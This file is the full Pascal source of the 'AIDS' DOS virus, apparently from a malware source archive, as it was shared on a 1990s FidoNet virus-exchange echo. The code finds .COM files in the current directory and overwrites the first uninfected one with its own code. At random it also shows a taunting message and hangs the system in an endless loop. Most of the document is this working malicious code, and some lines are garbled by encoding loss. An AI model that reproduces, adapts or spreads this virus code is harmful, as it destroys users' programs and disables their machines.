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MalwareSourceCode/MSDOS/V-Index/Virus.MSDOS.Unknown.vir41.pas

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2021-01-13 00:07:35 +00:00
;<EFBFBD> PVT.VIRII (2:465/65.4) <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <EFBFBD>
; Msg : 31 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : AIDS.PAS
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD> <EFBFBD><EFBFBD>p<EFBFBD><EFBFBD><EFBFBD><EFBFBD>)
;* From : Mike Nisbett, 2:283/718 (06 Nov 94 16:52)
;* To : Alan Jones
;* Subj : AIDS.PAS
;<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Mike.Nisbett@f718.n283.z2.fidonet.org
{C-}
{U-}
{I-} { Won't allow a user break, enable IO check }
{ -- Constants --------------------------------------- }
Const
VirusSize = 13847; { AIDS' code size }
Warning :String[42] { Warning message }
= 'This File Has Been Infected By AIDS! HaHa!';
{ -- Type declarations------------------------------------- }
Type
DTARec =Record { Data area for file search }
DOSnext :Array[1..21] of Byte;
Attr : Byte;
Ftime,
FDate,
FLsize,
FHsize : Integer;
FullName: Array[1..13] of Char;
End;
Registers = Record {Register set used for file search }
Case Byte of
1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
2 : (AL,AH,BL,BH,CL,CH,DL,DH : Byte);
End;
{ -- Variables--------------------------------------------- }
Var
{ Memory offset program code }
ProgramStart : Byte absolute Cseg:$100;
{ Infected marker }
MarkInfected : String[42] absolute Cseg:$180;
Reg : Registers; { Register set }
DTA : DTARec; { Data area }
Buffer : Array[Byte] of Byte; { Data buffer }
TestID : String[42]; { To recognize infected files }
UsePath : String[66]; { Path to search files }
{ Lenght of search path }
UsePathLenght: Byte absolute UsePath;
Go : File; { File to infect }
B : Byte; { Used }
LoopVar : Integer; {Will loop forever}
{ -- Program code------------------------------------------ }
Begin
GetDir(0, UsePath); { get current directory }
if Pos('\', UsePath) <> UsePathLenght then
UsePath := UsePath + '\';
UsePath := UsePath + '*.COM'; { Define search mask }
Reg.AH := $1A; { Set data area }
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
Reg.AH := $4E;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath[1]);
Reg.CX := $ff; { Set attribute to find ALL files }
MsDos(Reg); { Find first matching entry }
IF not Odd(Reg.Flags) Then { If a file found then }
Repeat
UsePath := DTA.FullName;
B := Pos(#0, UsePath);
If B > 0 then
Delete(UsePath, B, 255); { Remove garbage }
Assign(Go, UsePath);
Reset(Go);
If IOresult = 0 Then { If not IO error then }
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80], TestID, 43);
{ Test if file already ill(Infected) }
If TestID <> Warning Then { If not then ... }
Begin
Seek (Go, 0);
{ Mark file as infected and .. }
MarkInfected := Warning;
{ Infect it }
BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
Close(Go);
Halt; {.. and halt the program }
End;
Close(Go);
End;
{ The file has already been infected, search next. }
Reg.AH := $4F;
Reg.DS := Seg(DTA);
Reg.DX := Ofs(DTA);
MsDos(Reg);
{ ......................Until no more files are found }
Until Odd(Reg.Flags);
Loopvar:=Random(10);
If Loopvar=7 then
begin
Writeln(''); {Give a lot of smiles}
Writeln('');
Writeln(' @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @');
Writeln(' @ ATTENTION: @');
Writeln(' I have been elected to inform you that throughout your process of ');
Writeln(' @ collecting and executing files, you have accidentally H<><48>K<EFBFBD> @');
Writeln(' yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
Writeln(' @ be; YES, it CAN be, a <20><><EFBFBD>s has infected your system. Now what do @');
Writeln(' you have to say about that? HAHAHAHA. Have H<><48> with this one and ');
Writeln(' @ remember, there is NO cure for @');
Writeln(' ');
Writeln(' @ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> @');
Writeln(' <20><>۱<EFBFBD><DBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>۱<EFBFBD><DBB1><EFBFBD><EFBFBD><EFBFBD> <20>۱<EFBFBD><DBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>۱<EFBFBD><DBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ');
Writeln(' @ <20>۱<EFBFBD> <20>۱ <20>۱ <20>۱ <20>۱ <20>۱<EFBFBD> <20><> @');
Writeln(' <20>۱ <20>۱ <20>۱ <20>۱ <20>۱ <20>۱ ');
Writeln(' @ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۱ <20>۱ <20>۱ <20>۱ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> @');
Writeln(' <20>۱<EFBFBD><DBB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۱ <20>۱ <20>۱ <20>۱ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۱ ');
Writeln(' @ <20>۱ <20>۱ <20>۱ <20>۱ <20>۱ <20>۱ @');
Writeln(' <20>۱ <20>۱ <20>۱ <20>۱ <20><>۱ <20><> <20><>۱ ');
Writeln(' @ <20>۱ <20>۱ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۱<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۱<EFBFBD> @');
Writeln(' <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ');
Writeln(' @ @');
Writeln(' @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @');
REPEAT
LOOPVAR:=0;
UNTIL LOOPVAR=1;
end;
End.
{ Although this is a primitive virus its effective. }
{ In this virus only the .COM }
{ files are infected. Its about 13K and it will }
{ change the date entry. }
;-+- CrossPoint v3.02
; + Origin: The Hamburger Haven 1-318-478-9940 (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <EFBFBD> The Me<EFBFBD>eO
;
;/A=NNNN Set NewExe segment alignment factor
;
;--- Aidstest Null: /Kill
; * Origin: <EFBFBD>PVT.ViRII<EFBFBD>main<EFBFBD>board<EFBFBD> / Virus Research labs. (2:5030/136)
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